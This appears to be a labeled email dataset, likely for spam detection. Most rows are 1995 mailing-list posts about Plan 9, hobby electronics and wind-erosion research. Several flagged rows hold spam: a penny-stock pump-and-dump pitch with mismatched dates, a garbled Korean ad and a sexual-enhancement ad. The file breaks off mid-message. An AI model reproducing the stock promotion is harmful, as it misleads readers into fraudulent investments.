,Multiple recipients of list ,"Fri, 19 May 1995 07:51:05 -0500",World Bank Datasets On-Lin,"Subject: ** World Bank Datasets On-Line! ** The following message has been cross-posted to multiple discussion lists and news groups. Our apologies in advance to those readers who have seen it more than once. Feel free to cross-post this information to RELEVANT lists we may have missed. The Consortium for International Earth Science Information Network (CIESIN) and the World Bank are pleased to announce experimental Internet access to two major World Bank datasets: - Social Indicators of Development, 1994 (http://www.ciesin.org/IC/wbank/sid-home.html), and - Trends in Developing Economies, 1994 (http://www.ciesin.org/IC/wbank/tde-home.html). A positive response to this experiment from an active user community may result in providing similar (or enhanced) Internet access to additional World Bank datasets. In each case, any user with a forms-capable World Wide Web browser (e.g., IBM Web View, Mosaic, Netscape, Prodigy) can directly query the contents of these two important World Bank datasets. These datasets are also searchable using CIESIN's Gateway -- a distributed search and retrieval tool enabling access to a large collection of information about human interactions in the environment. For more information on the Gateway, see http://www.ciesin.org/gateway/gw-home.html . ""Social Indicators of Development"" contains the World Bank's most detailed data collection for assessing human welfare to provide a picture of the social effects of economic development. Data are presented for more than 170 economies, omitting only those for which data are inadequate. Emphasis in this publication is on country-by-country review. Up to 94 indicators are reported for each country including: size, growth, and structure of population; determinants of population growth (including data on fertility and infant mortality); labor force; education and illiteracy; natural resources; income and poverty; expenditure on food, housing, fuel and power, transport and communication; and investment in medical care and education. Each of these indicators is broken into several subcategories. Footnotes associated with the printed data are preserved in the hypertext version so that users will be fully aware of significant nuances associated with particular indicators and countries. ""Trends in Developing Economies"" (TIDE) provides brief reports on most of the World Bank's borrowing countries. This compendium of individual country economic trends complements the World Bank's World Development Report, which looks at major global and regional economic trends and their implications for the future prospects of the developing economies. TIDE digests information from national sources and adds staff commentary to explain recent developments for the benefits of readers who are familiar with macroeconomics but not, perhaps, with every country under review. For further information contact: CIESIN User Services telephone: +517-797-2727 2250 Pierce Road facsimile: +517-797-2622 University Center, MI 48710 email: ciesin.info@ciesin.org United States of America URL: http://www.ciesin.org The work described in this message was generously supported by the (U.S.) National Aeronautics and Space Administration (NASA) under grant NAGW-2901. ",0,1 Nigel Roles ,9fans,"Mon, 22 May 1995 07:16:22 -0400",Patience,"Deepest apologies for not being able to restrain myself! Do we have an approximate date for the release? ",0,0 Howard Levy ,9fans,"Mon, 22 May 1995 06:48:18 -0400",Out of the office until May 30th,"--Boundary-9108728-0-0 I'll be on vacation through May 27th and back in the office on the 30th. Howard --Boundary-9108728-0-0 X-Orcl-Content-Type: message/rfc822 Received: 22 May 1995 03:47:02 Sent: 22 May 1995 03:47:00 From:""Nigel Roles"" <9fans-outgoing-owner@cse.psu.edu> To: 9fans@cse.psu.edu Subject: Patience Reply-to: 9fans@cse.psu.edu X-Orcl-Application: Comments: Authenticated sender is X-Orcl-Application: Organization: Symbionics Communications X-Orcl-Application: Priority: normal X-Orcl-Application: X-Mailer: Pegasus Mail for Windows (v2.0-WB3) X-Orcl-Application: Sender: owner-9fans@cse.psu.edu X-Orcl-Application: Precedence: bulk Deepest apologies for not being able to restrain myself! Do we have an approximate date for the release? --Boundary-9108728-0-0--",0,0 Boyd Roberts ,9fans,"Thu, 25 May 1995 19:34:50 -0400",telnet/tcp bugs,"i've been experiencing some weird protocol errors and disconnects when telneted to plan 9. are there any known bugs which might explain this? ",0,0 philw@plan9.att.com,9fans,"Thu, 25 May 1995 20:31:53 -0400",re: telnet/tcp bugs,">i've been experiencing some weird protocol errors and disconnects when >telneted to plan 9. are there any known bugs which might explain this? Yes, I am unable to write functioning TCP code and I've done it at least three times, never the same bug twice, never able to talk to the same set of machines. If you have to talk to PC's and MAC's your TCP code must be broken by definition. phil ",0,0 Boyd Roberts ,9fans,"Fri, 26 May 1995 02:00:08 -0400",re: telnet/tcp bugs," Yes, I am unable to write functioning TCP code and I've done it at least three times, never the same bug ... don't get peeved phil. i thought i'd get an informed response here. asking the question of my dubious internet service provider would probably get nowhere. i suspect their side. certainly the 100ms from sydney to perth and then 100ms to sydney again doesn't help. yes, they have no local internet connection. ",0,0 David Hogan ,9fans,"Fri, 26 May 1995 03:48:17 -0400",eqn fix,"Here's a quick and dirty hack for plan 9 eqn, to stop it from inserting font changes in the middle of unicode characters. Edit /sys/src/cmd/eqn/text.c, find the function trans(), and change both occurrences of ""isalpha(c)"" to ""(isalpha(c) || (c&0x80))"". mk installall. You can now use all those Greek letters in equations without spelling them out! (hey, it's almost WYSIWYG :-) ",0,0 Erik Green ,handyboard@media.mit.edu,"Sun, 28 May 1995 15:33:27 -0500",Parts/assembly," Ok, I've been doing some assembly (well, Ok, a lot). Here's my status so far: Serial/power interface assembled, two parts problems: Electrolytic didn't fit (the 47uf ones) so I fitted a radial substitute from Rat Shack. Oddly enough, the axial design from RS was the same size as the ones that came from Mark. Only the radial was smaller. I stood the new caps on end over one lead hole, and covered the other lead with some spare wire insulation before running it to the other hole. Also, the power connectors have the wrong pin configuration. I briefly considered redrilling, but as I note later I'm going to order some parts from JDR, so I'll get a replacement from them. Other than that, the Serial/charger board is assembled. On the main board, I have all sockets, resistors, diodes, LEDs, the piezo speaker, the VR, and the phone jack soldered. I can't seem to find the fuse that was supposed to be in the kit. What do these look like? The SPI 6-header has wires too large for the holes in the board. I'm thinking of getting a new one, since I don't want to risk the board at this point. The resistor packs appear to be too large (too many pins). I did go out and buy some 16 pin sockets, as I'm more comfortable soldering those than the pin replacements mark sent me. So, other than parts problems (No, I'm not picking on Mark. He did quite a job getting all these together, and as he selflessly sold his own board for the happiness of another, I can't blame him for some bad fits) the board assembles easily. I got most of it done in a few hours yesterday. I got ahold of a jewelers saw today, so tonight I'll cut some headers and get those done. I'm going to be placing an order from JDR most likely for new rpacks, spi connector, power connectors, and for one chip that wasn't quite what it was supposed to be. My advice to anybody that hasn't started soldering yet is to start with the stuff that lays on the board (low profile) and get it all _very_ carefully placed by using the traces as landmarks. If something doesn't appear to naturally fit, you may have the wrong part in your hand. Note this especially for some of the resistors. There are 47 ohm ones in two sizes. Use one of the 1/2 watt (large) ones on the charger board, near the phone jack, and the other on the right side middle area of the main board. Use the smaller ones elsewhere. Once the low profile stuff is mounted, use those parts as landmarks for placing the other parts. Keep an eye on how hard it will be to place smaller parts when you're installing sockets, if you do them first. Try to work from the inside of the board out. To tell when a connection is properly soldered, look on the component side of the board. A very small amount of solder should have flowed through to the other side of the hole. Generally, the leads for the parts get bent close to the part. There are a few parts that this won't work on, but they should be obvious. Be very careful with the induction core (little red wire wrapped cylinder on the UL of the board). The leads will pull out part of the way if you're not careful when you bend them. FYI, I'm using a 23 watt iron and Rat Shack solder (I know, lousy resin). Anybody else out there doing assembly? -Erik -- Erik Green longshot@krypton.mankato.msus.edu ",0,0 rob@plan9.att.com,9fans,"Fri, 02 Jun 1995 14:44:13 -0400",,"here is a more thorough but still rudimentary fix to the eqn problem. david hogan's fix solves the problem but doesn't address the issue. as a side note, the textc() routine illustrates why plan 9 doesn't by default use ansi's specification for multibyte and wide characters. eqn% diff text.c /n/dump/1995/0401/sys/src/cmd/eqn 40,57d39 < int textc(void) /* read next UTF rune from psp */ < { < wchar_t r; < int w; < < w = mbtowc(&r, psp, 3); < if(w == 0){ < psp++; < return 0; < } < if(w < 0){ < psp += 1; < return 0x80; /* Plan 9-ism */ < } < psp += w; < return r; < } < 92c74 < for (psp = p1; (c = textc()) != '\\0'; ) { --- > for (psp = p1; (c = *psp++) != '\\0'; ) { 115,124d96 < int isalpharune(int c) < { < return ('a'<=c && c<='z') || ('A'<=c && c<='Z'); < } < < int isdigitrune(int c) < { < return ('0'<=c && c<='9'); < } < 129c101 < if (isalpharune(c) && ft == ITAL && c != 'f' && c != 'j') { /* italic letter */ --- > if (isalpha(c) && ft == ITAL && c != 'f' && c != 'j') { /* italic letter */ 134c106 < if (isalpharune(c) && ft != ITAL) { /* other letter */ --- > if (isalpha(c) && ft != ITAL) { /* other letter */ 139c111 < if (isdigitrune(c)) { --- > if (isdigit(c)) { 290c262 < void cadd(int c) /* add character c to end of cs */ --- > void cadd(int c) /* add char c to end of cs */ 293d264 < int w; 315,317c286 < w = wctomb(csp, c); < if(w > 0) /* ignore bad characters */ < csp += w; --- > *csp++ = c;",0,0 Sandy Harris ,9fans,"Sat, 03 Jun 1995 22:11:22 -0400",Plan 9 for PC?,"In the RFD for comp.os.plan9, Jim Davis wrote: > Past releases of Plan 9 could only be licensed by universities. The > next release will be available to anyone, and run on a wide range of > PCs. This will make running Plan 9 an option for many Usenet readers. Are any details available on this yet? -- Sandy Harris sharris@fox.nstn.ns.ca",0,0 Gary Capell ,om@gambro.se,"Mon, 05 Jun 1995 08:47:18 -0400",Re: A question... ," Thought the list might be interested in this question as well. > G'day! > > ...or as we say in Sweden ""God dag!"" I stumbled over your short > (to-the-point) article on Plan 9, specifically on its ""Differences from > Unix"". Being, I admit, a DOS/Windows person and judging from the little bit > I've learnt so far, Plan 9 seems very promising and its philosophy appeals > to me greatly. However, your article states that a three-button mouse is > assumed. Is this true for developers only or does it disqulify Plan 9 from > touch-screen GUI applications on hand-held on-line terminals? The current GUI tools all assume a three-button mouse, but the libraries don't. There's nothing to stop people writing other GUIs for terminals that are rodentially challenged. > > Thanks a parking lot > > Otto Medin (om@gambro.se) ",0,0 Heiko Wengler ,9fans,"Tue, 06 Jun 1995 03:26:55 -0400",Re: Plan 9 for PC?,"> > Past releases of Plan 9 could only be licensed by universities. The > > next release will be available to anyone, and run on a wide range of > > PCs. This will make running Plan 9 an option for many Usenet readers. > > Are any details available on this yet? Is there any new information WHEN the 'new' version comes out? Heiko Wengler ",0,0 Hans Unicorn Van de Looy ,cse.psu.edu!9fans@sequent.com,"Thu, 08 Jun 1995 08:32:13 -0400",Update plan 9 availability,"Hi Guys (F/M), I have just bought another 1.2GB EIDE drive for my PC to create some room to store some new OSes I want to play with (i.e. FreeBSD, linux and ""plan 9""), and I was wondering when the PC CDROM for ""plan 9"" will be released? Any news from the suits yet? :-) Could you also include an overview of the hardware supported? I am especially interested in the controller for the CDROM (mine is connected to a soundblaster (non-SCSI)), the video controller (mine is a Stealth vram) and supported hard-disks (mine are both Extended IDE based). Since I had some problems with FreeBSD on this... -- aTdHvAaNnKcSe, ============================================================================ _ __,;;;/ Hans ""Unicorn"" van de Looy .-----. ,;( )_, )~\\| Rijnzathe 7a-2 - 3454PV de Meern - The Netherlands | # | ;; // `--; Tel:+31 3406-66070 Mobile:+31 653261368 | | ' ;\\ | Fax:+31 3406-66054 Pager :+31 657540981 `-----' ============================================================================ ",0,0 Jim Davis ,9fans,"Thu, 15 Jun 1995 12:18:39 -0400",comp.os.plan9 vote.,"Voting for the comp.os.plan9 newsgroup should start in a day or two; I've heard from the votetaker, who has the Call For Votes ready to go. I hope everybody interested in seeing a plan9 newsgroup will vote for this proposal. During the discussion period on Usenet, no one objected to the concept but some questioned the need to moderate the group. A couple of people from this list defended that need (quite well, I thought) -- still there may be some people who won't vote for a moderated group, and even some who may vote against it. A failed newsgroup proposal can't be brought up again for a vote for 6 months, so if you want to see a plan9 newsgroup soon it's important that you vote for this proposal! The votetaker will send the Call For Votes to this mailing list after it is posted on Usenet; it'll have the voting instructions. ",0,0 rob@plan9.att.com,9fans,"Thu, 15 Jun 1995 13:53:26 -0400",Announcement,"The new Plan 9 distribution will be available in mid to late July. It will consist of a two-volume manual, a CD-ROM with all the sources, and four PC diskettes comprising a binary-only installation of a fairly complete version of the system that runs on a PC. The distribution will cost $350; the printed manuals alone will be available for considerably less. The details of how to order are still uncertain. Watch http://plan9.att.com/plan9/index.html for developments; please don't mail us. ",0,1 Steve_Kilbane@cegelecproj.co.uk,9fans,"Fri, 16 Jun 1995 02:58:12 -0400",Re: Announcement,"http://plan9.att.com/plan9/distrib.html says that the ""system is licensed for educational and commercial use."" Should that be ""non-commercial""? Of course, shrink.html gives the license in detail, but I thought I'd check. steve ",0,1 David Lukes ,9fans,"Fri, 16 Jun 1995 05:11:04 -0400",Re: Announcement,"On Jun 16, 2:58, Steve_Kilbane wrote: > http://plan9.att.com/plan9/distrib.html says that the ""system is > licensed for educational and commercial use."" Should that be > ""non-commercial""? Of course, shrink.html gives the license in > detail, but I thought I'd check. I think the license is clear here: `This SOFTWARE may be used by you or by an organization of which you are a member or employee solely for research, development, or educational purposes. Without executing an applicable sublicense with AT&T, no part of the SOFTWARE may be published, sold, or offered for sale, nor may any part of the SOFTWARE be made available on a computer network external to you or your organization, nor may commercial services utilizing this SOFTWARE be sold or offered for sale.' i.e. commercial organisations (like mine) can use it internally, but can neither sell it (or any derivative), or make money out of it:-). BTW: I haven't put in front of the legal eagles here yet, but FWIW, on an initial scan, it looks like a reasonable agreement to me Dave. ",0,1 Steve_Kilbane@cegelecproj.co.uk,9fans,"Fri, 16 Jun 1995 05:57:45 -0400",Re: Announcement,"Oh, I think the license details are clear. I was just questioning the wording of that case. :-) Steve ",0,0 arnold@skeeve.atl.ga.us,9fans,"Fri, 16 Jun 1995 06:44:00 -0400",Re: Announcement," > http://plan9.att.com/plan9/distrib.html ... Would someone mail this (or an ascii or postscript version) to the list, for those of us who are currently Internet-challenged? Thanks, Arnold Robbins -- The Basement Computer | Laundry increases Internet: arnold@skeeve.ATL.GA.US | exponentially in the UUCP: emory!skeeve!arnold | number of children. Bitnet: Forget it. Get on a real network. | -- Miriam Robbins ",0,1 Steve_Kilbane@cegelecproj.co.uk,9fans,"Fri, 16 Jun 1995 08:45:16 -0400",distrib.html,"Plan 9 Distribution Contents The Plan 9 distribution consists of two books, four 1.4 megabyte floppies, and a CD-ROM. The two books contain the manual pages and a collection of papers describing the system. Click on the cover pages for more information. The four floppies contain a complete bootable Plan 9 system for PCs. This includes the kernel, a window system, Internet support, and programming environments for both the C and Alef languages. The CD-ROM contains kernels, libraries, and executable programs for the Intel 386 (including 486 and Pentium), Sparc, 68020, and Mips architectures and the sources to create them. Click on the CD-ROM art for a list of files on the CD-ROM. To find out if Plan 9 supports your hardware, read The Various Ports. Free Trial Plan 9 does not purport to run on all PCs. Since Plan 9 does not use the BIOS, it is sensitive to hardware differences between PCs. Therefore, we will provide the contents of the four floppies on the Internet via FTP, free of charge. The document, Installing the Plan 9 Distribution, explains how to get going. To Order The distribution will be available in mid to late July. At that time we will post here both an 800 number for orders from within the USA and another number for those from outside. The cost is $350 plus postage. The system is licensed for educational and commercial use. The manuals can be ordered by themselves from the same telephone numbers. The cost is $150 plus postage. Copyright ) 1995 AT&T. All rights reserved. ",0,0 Blanca Temple ,brianna@zingg.weru.ksu.edu,"Tue, 20 Jun 1995 14:49:21 -0100",[re:] Market Share Picks Trade watch special pr news release,"New Release This one is from the Oil Sector. We expect great things. CTXE - CANTEX ENERGY CORP Big News Expected Monday! PRICE: 0.70 5 Day expected 2.12 Thursday was another great day of movement! Todays gain 0.16 (25.40%) Just as we promised. Starting to climb up .16 already today. Friday should be even better! A very large marketing campaign has started today and will run thru the weekend. In past campaings we have seen things really get moving with an offer like this. Cantex Energy Corp. Update on the Seismic Program for Big Canyon Ranch Project Friday April 21, 9:30 am ET SAN ANTONIO, TX--(MARKET WIRE)--Apr 21, 2006 -- Cantex Energy Corp. Management wishes to update its shareholders on the seismic program being undertaken on the 48,644 acres Big Canyon Prospect in West Texas. The Company is very pleased to confirm that the extensive geophysical program to be undertaken with Providence Technologies will commence in May 2006 with the recent confirmation of securing Quantum Geophysical, Inc. to conduct the 40 mile seismic shoot known as Big Canyon 2D Swath. Trace Maurin, president of Cantex, states, ""In today's market, getting a seismic operator is as difficult as trying to get a drilling rig and we are happy to inform our shareholders that we are now very close to proving up the world class potential reserves in the Val Verde play."" This 2D Swath design is licensed by Providence Technologies, which is a unique application that has proved to be effective in the Val Verde Basin where our Prospect is situated. Upon completion of the first swath and data processing it will give a good picture of the structure, and completion of the second swath will give an idea of closure. Cantex Energy Corp. is an independent, managed risk, oil and gas exploration, development, and production company headquartered in San Antonio, Texas. The Company's additional focus is the optimal exploitation and development of approximately 1,200 acres known as the West Ant Hills Prospect located in Niobrara County, Wyoming. ",1,0 bischof@balrog.informatik.Uni-Osnabrueck.DE,plan9-fans,"Mon, 26 Jun 1995 05:09:57 -0400",Thanks for reading,"Dear Sir, my name is Hans-Peter Bischof. I am a research assistant at the university of osnabrueck/Germany. I develop a technologie which make it possible to see how an operating system works. Example: Outside the Kernel: 9P Messages I have a technologie an a tool (in 3 months) to make it possible to show 9P messages between clients and server under 8.5. A programmable filter object decides wich messages is important. +--------+ +--------+ Os ------------------>| filter |--->| Viewer |----+ +--------+ +--------+ | +--------+ | ramfs | +--------+ +--------+ +--------+ | Os <------------------| viewer |<---| filter |<---+ +--------+ +--------+ Inside the Kernel: Systemcalls et al. Is under developemnt OS & tools Operating sytem: Plan 9 Language: C & OOC (local development of an object oriented language) The question is: Is it possible for me to work for one year with you in your lab. A german organization will pay my salary for one year. Local deadline for apply for the scholarship is 30.6.95. Thanks for your help. Dr. Hans-Peter Bischof",0,0 Boyd Roberts ,9fans,"Mon, 26 Jun 1995 21:46:43 -0400",passtokey(2),"why does passtokey(2) do what it does? ",0,0 jackg@sage.dri.edu,Multiple recipients of list ,"Tue, 27 Jun 1995 17:21:12 -0500",info please,"Bonjour mes amis aeolian. Is anyone aware of any recent review articles (journal or otherwise) on the state of wind erosion modelling? I am interested in critiques of what's out there for modelling of resuspension or prediction of wind erosion flux. Cheers, Jack Dr. John Gillies Energy and Environmental Engineering Center Desert Research Institute 5625 Fox Ave. P.O. Box 60220 Reno, NV 89506-0220 ",0,0 aritz@uiuc.edu,David Lloyd Morgan ,"Wed, 28 Jun 1995 10:20:32 -0600",Re: Getting Started,"I may be getting a bit ahead of myself, but here goes: > >NIU (Network Interface Unit) > >- Interface with Ethernet/IEEE 802.3 media I have the IEEE 802.3 spec at my lab for reference, although I am hesitant to let it leave, since it costs about $80. However, I might make these comments. I think that it would be a grave mistake to: 1. use the 802.3 standard instead of the Ethernet_II spec developed by Xerox. This might just be slight miscommunication here, but do realize the the vast majority of the world uses Ethernet_II frames and protocol, which includes things like ARP that you are talking about. 802.3 does not use ARP; instead it uses things like OSPF HELLO messages. (I may be wrong here, but am pretty sure I am not.) Anyway, I think the ethernet_II spec is what we would really want to use, as it is the one in comer's book, etc. 2. I'd hate to see someone have to completely reinvent the wheel. I'm not sure that the low-level interface that you speak of is completely necessary for the speed needed. Of course, I might be wrong here, but what I think you are talking about is an interface to one specific type of ethernet card. It might be to everyone's best interest to use the packet driver interface instead, or even the winsock interface, since it is so much easier to program. This frees the designer from the details of programming one specific ethernet card. >- Packetize outgoing Multimedia Data using something with a built-in kernal would eliminate the need for most of this, unless you are talking about building your own tcp-ip kernal, which could be a *bad* idea, since it would take so long and be such an arduous task. A built in kernal would be better since the kernal would handle all the packet sending, etc., and all that would need to be done is basically buffer up the data... >- Perform ARP, RARP, IPMC, IPGM, IP, UDP protocol handling again, this should be handled by the tcp/ip kernal. >- Accomodate Multicast (MBONE) protocols? again, this would be very difficult without some sort of interface to program, like the packet driver or even NDIS interface. >- Direct inbound control traffic to System Control Unit If you want to send control packets to another port (similar to ftp's control port), the tcp/ip kernal would properly multiplex the data to the correct port, which the control program could then route to any hardware that needs to see it. > Well, just a few comments I had. Let me know what you think. If you want to forward anything pertinent on to the group, feel free. BTW, what type of computer were you thinking of interfacing this with? Later, Andy Andrew Ritz --- aritz@uiuc.edu -- Phone 244-8409 - 1507 DCL ________________________________________________________________ ""Expect Nothing. Blame Nobody. Do Something."" --Someone ",0,0 """Rich McDonald, unknown, Lakewood, CO "" ",Multiple recipients of list ,"Wed, 28 Jun 1995 10:17:43 -0500",Re: info please ,"hello, These may be of some help: Anderson, R.S., Sorenson, M.L. and Willets, B.B. A review of recent progress in the understanding of aeolian sediment transport. Acta Mechanica (1991) [Suppl] 1: pp. 1-20 Anderson, R.S. and Haff, P.K. Wind Modification and bed response during saltation of sand in air. Acta Mechanica (1991) [Suppl] 1: 21-51 There are many other good papers in this issue as well. Hope that helps, Rich McDonald USGS Denver Federal Center Lakewood, Co 80225 303-236-5001 On Tue, 27 Jun 1995 17:21:12 -0500 Jack Gillies said: > Bonjour mes amis aeolian. > > Is anyone aware of any recent review articles (journal or otherwise) on the > state of wind erosion modelling? I am interested in critiques of what's out > there for modelling of resuspension or prediction of wind erosion flux. > > Cheers, Jack > Dr. John Gillies > Energy and Environmental Engineering Center > Desert Research Institute > 5625 Fox Ave. > P.O. Box 60220 > Reno, NV > 89506-0220 > ",0,0 Jim Davis ,9fans,"Wed, 28 Jun 1995 12:53:31 -0400",Re: comp.os.plan9 vote.,"It looks now like the Call For Votes won't go out any sooner that July 10th, which is when the news.announce.newgroups moderator returns from vacation. ",0,0 Dirk Vleugels ,9fans,"Thu, 29 Jun 1995 06:07:04 -0400",pcdistrib when?,"Sorry to bother you at att, but is there _any_ deadline for releasing the pcdistrib? waiting Dirk -- ""It's 206 ms to Chicago, we've got a full disk of GIFs, half a meg of hypertext, it's dark, and we're wearing sunglasses."" ""Click it."" --",0,0 David Hogan ,9fans,"Thu, 29 Jun 1995 08:13:10 -0400",Re: pcdistrib when?,">Sorry to bother you at att, but is there _any_ deadline for >releasing the pcdistrib? This seemed pretty clear to me: |From: rob@plan9.att.com |To: 9fans@cse.psu.edu | |The new Plan 9 distribution will be available in mid to late July. ... Presumably the pc distribution will be available when the rest of the system is. ",0,0 Zackary Johnson ,Steve Lindley ,"Thu, 29 Jun 1995 16:24:56 -0400",a* samples,"Steve, How are you doing? I hope that all is well and that you are adjusted to being at home again. I am sure that it was not that difficult and that it did not take that long. I assume also that you were able to get out of Acapulco OK. I wanted to talk to you before you left for Europe about the a* samples that I took on IRONEX2. In particular, Dick mentioned that you ran the IRONEX1 samples and calibrated the machine that they were run on. He said that this was done on the Chavez machine at MBARI which was in turn calibrated to the Kiefer machine. At the root of my question is how do I go about calibrating our new machine in Beaufort. Is there a book, paper, or manual that could provide help? Or, does one just run the same samples on different machines and use one as the standard and correct for the other machine's ""differences."" Also, I am interested in learning how to crunch the numbers from the data. I suspect this is pretty straight forward and probably just involves a spread sheet file. However, if you could suggest a couple of key papers that would elucidate this matter I would be grateful. Also, a sampling of the IRONEX1 data in its various forms might be helpful. I will contact you by phone shortly to discuss these matters more thoroughly; right now I am just giving you a warning shot! Related to this is my trip to California. I will be headed to California approximately on 20 July. The majority of my time will be spent with family affairs, but there is a secondary scientific goal. That goal is to calibrate the machine at Beaufort, presumably by running samples on calibrated machines in California, and to meet people that are involved in this field. I assume that this trip will take a similar shape to the legendary trip that you and Marta took - though not quite as extensive! I was thinking about being in the bay area around the 20th and then heading to the MBARI region shortly after that. I doubt that you would have time to accompany me on that part (though you are certainly welcome), but I thought that it might be pleasant to meet up while I am in the area, assuming that you are still in the country. After being in the Bay Area, I was going to go home to Trinidad for a week or so, but after I will be driving down through to San Diego. In SD I was planning on going to a couple of other labs, mainly Joan Cleavland and Chuck Trees and possible D. Kiefer. These are just suggestions right now, but I thought that they would be good places to get an idea about how these measurements are done. So that's the plot. I will call you probably call you tomorrow so that we can talk once before Dick leaves for Oman (4 July). I hope all is well in the Bay Area. Cheers, Zackary PS I have heard even more stories about THE van - quite interesting ones I might add. PPS Send me the bill for the remainder of the booze that we put on the hotel tab in Acapulco. I have submitted my receipts for everything else and let D. Gagnon know that you had the hotel bill for Acapulco. I have no plans on skipping town, yet. ------------------------------------------------------------------------ Zackary Johnson zij@acpub.duke.edu Department of Botany Box 90339 919.684.2166 office Duke University 919.309.9225 home Durham, NC 27708 ------------------------------------------------------------------------ ",0,0 �� ���� ,leta@zingg.weru.ksu.edu,"Sun, 02 Jul 1995 04:46:36 -0700",�ʰ��� �뤱���40�г��� �Ͼ���� å������ ó���ص帳�ϴ�s1,���������������������������������������������� �������� �������� ������ ������ = ��/����/�� ����������������������������������������������   ������ ���� ���� ������ �������� ���������� �������� ���� ��/.����. �������� ������   ��/��/������ ��/��/.�� ��/����/����   ����������������������������������������������,1,0 Valarie Dickens ,Kellie ,"Sun, 02 Jul 1995 22:05:14 +0600",Stop Premature Ejaculation ,"Gain Up To 3+ Full Inches In Length Increase Your Penis Width (Girth) By 20% Stop Premature Ejaculation Produce Stronger and Rock Hard Erections http://www.everythingyouever.com If you dont like it http://www.everythingyouever.com/dj3/ ",1,1 jackg@sage.dri.edu,Multiple recipients of list ,"Fri, 07 Jul 1995 11:35:46 -0500",important news,"Dear wind erosion and aeolian research colleagues, I recently sent an e-mail to Dr. Dirk Goosens at the Katholic University of Belgium at Leuven to open a dialogue on the dust work they have been doing there. I received in reply this shocking letter. I believe we all recognize the important work that has been done by Dr. Goossens and his Israeli colleagues. The loss of this research unit will be a blow to the aeolian research community. Please read Dr. Goossens letter and follow up on his need for collegial support in his fight to maintain his position as well as his research unit. Sincerely, John Gillies >Dear Dr. Gillies, > > >Thank you for your message. As you know we have established here in Leuven an >aeolian dust unit focussing on theoretical as well as on experimental >research (wind tunnel in Leuven + field sites in Israel). I welcome very much >your request to share research initiatives and research plans, but here is >the problem: our university recently decided, after a calculation of the >number of students in each faculty, to stop supporting the aeolian dust unit. >This means that, if the decision is confirmed in August, I will have to look >for a new job in September and the aeolian facilities in Leuven will be >degraded to industrial archaeology. I have worked 15 years on establishing >this research, starting from almost zero: it is my life-work. Now, after 15 >years, the scientific results of my work finally become available, and I >think that you can agree with me that the unit is very productive. Why >cutting down a unit that worked 15 years to come to maturity and has now >arrived in its most productive stage? To date, 22 research units all over the >world asked for co-operation - and yet our academic authority cannot be >convinced. > >I would like to inform if you could help me to save my life-work. Could it be >possible for you to write a letter to our university (see address below) in >which you mention the significance of the work done in Leuven (with respect >to aeolian dust processes)? If this letter could be signed by different >collegues of yours who are involved in aeolian (or other) research, it would >be of significant help to me. > >I know, of course, that this response to your letter is quite uncommon: you >asked for information, and I respond by asking your help! I hope you will not >blame me for this. I only try to prevent our university from blowing up my >life-work and firing me after 15 years of hard work. > >I already told earlier in this letter that, if I will be able to stay in >Leuven, I will be very happy to share research initiatives and research >plans. Could you provide me with some more information about the specific >topics you are interested in? > >Thank you for your help. We do not know each other personally, but I very >much appreciate your letter. > >Sincerely, > >Dirk Goossens > > > >address of our university: To the Rector > Katholieke Universiteit Leuven > Universiteitshal > Naamsestraat 22 > B-3000 Leuven > Belgium > > > Dr. John Gillies Energy and Environmental Engineering Center Desert Research Institute 5625 Fox Ave. P.O. Box 60220 Reno, NV 89506-0220 ",0,0 vpt7728@VMS1.tamu.edu,Multiple recipients of list ,"Fri, 07 Jul 1995 13:21:21 -0500",Re: important news,">Dear wind erosion and aeolian research colleagues, > >I recently sent an e-mail to Dr. Dirk Goosens at the Katholic University of >Belgium at Leuven to open a dialogue on the dust work they have been doing >there. I received in reply this shocking letter. I believe we all >recognize the important work that has been done by Dr. Goossens and his >Israeli colleagues. The loss of this research unit will be a blow to the >aeolian research community. Please read Dr. Goossens letter and follow up >on his need for collegial support in his fight to maintain his position as >well as his research unit. > >Sincerely, > >John Gillies > > >>Dear Dr. Gillies, >> >> >>Thank you for your message. As you know we have established here in Leuven an >>aeolian dust unit focussing on theoretical as well as on experimental >>research (wind tunnel in Leuven + field sites in Israel). I welcome very much >>your request to share research initiatives and research plans, but here is >>the problem: our university recently decided, after a calculation of the >>number of students in each faculty, to stop supporting the aeolian dust unit. >>This means that, if the decision is confirmed in August, I will have to look >>for a new job in September and the aeolian facilities in Leuven will be >>degraded to industrial archaeology. I have worked 15 years on establishing >>this research, starting from almost zero: it is my life-work. Now, after 15 >>years, the scientific results of my work finally become available, and I >>think that you can agree with me that the unit is very productive. Why >>cutting down a unit that worked 15 years to come to maturity and has now >>arrived in its most productive stage? To date, 22 research units all over the >>world asked for co-operation - and yet our academic authority cannot be >>convinced. >> >>I would like to inform if you could help me to save my life-work. Could it be >>possible for you to write a letter to our university (see address below) in >>which you mention the significance of the work done in Leuven (with respect >>to aeolian dust processes)? If this letter could be signed by different >>collegues of yours who are involved in aeolian (or other) research, it would >>be of significant help to me. >> >>I know, of course, that this response to your letter is quite uncommon: you >>asked for information, and I respond by asking your help! I hope you will not >>blame me for this. I only try to prevent our university from blowing up my >>life-work and firing me after 15 years of hard work. >> >>I already told earlier in this letter that, if I will be able to stay in >>Leuven, I will be very happy to share research initiatives and research >>plans. Could you provide me with some more information about the specific >>topics you are interested in? >> >>Thank you for your help. We do not know each other personally, but I very >>much appreciate your letter. >> >>Sincerely, >> >>Dirk Goossens >> >> >> >>address of our university: To the Rector >> Katholieke Universiteit Leuven >> Universiteitshal >> Naamsestraat 22 >> B-3000 Leuven >> Belgium >> >> >> > > >Dr. John Gillies >Energy and Environmental Engineering Center >Desert Research Institute >5625 Fox Ave. >P.O. Box 60220 >Reno, NV >89506-0220 ",0,0 adgjl@ttacs1.ttu.edu,Multiple recipients of list ,"Fri, 07 Jul 1995 14:14:29 -0500",Re: important news,"I saw this note too. I'll try to write a letter next week. J >>Dear wind erosion and aeolian research colleagues, >> >>I recently sent an e-mail to Dr. Dirk Goosens at the Katholic University of >>Belgium at Leuven to open a dialogue on the dust work they have been doing >>there. I received in reply this shocking letter. I believe we all >>recognize the important work that has been done by Dr. Goossens and his >>Israeli colleagues. The loss of this research unit will be a blow to the >>aeolian research community. Please read Dr. Goossens letter and follow up >>on his need for collegial support in his fight to maintain his position as >>well as his research unit. >> >>Sincerely, >> >>John Gillies >> >> >>>Dear Dr. Gillies, >>> >>> >>>Thank you for your message. As you know we have established here in Leuven an >>>aeolian dust unit focussing on theoretical as well as on experimental >>>research (wind tunnel in Leuven + field sites in Israel). I welcome very much >>>your request to share research initiatives and research plans, but here is >>>the problem: our university recently decided, after a calculation of the >>>number of students in each faculty, to stop supporting the aeolian dust unit. >>>This means that, if the decision is confirmed in August, I will have to look >>>for a new job in September and the aeolian facilities in Leuven will be >>>degraded to industrial archaeology. I have 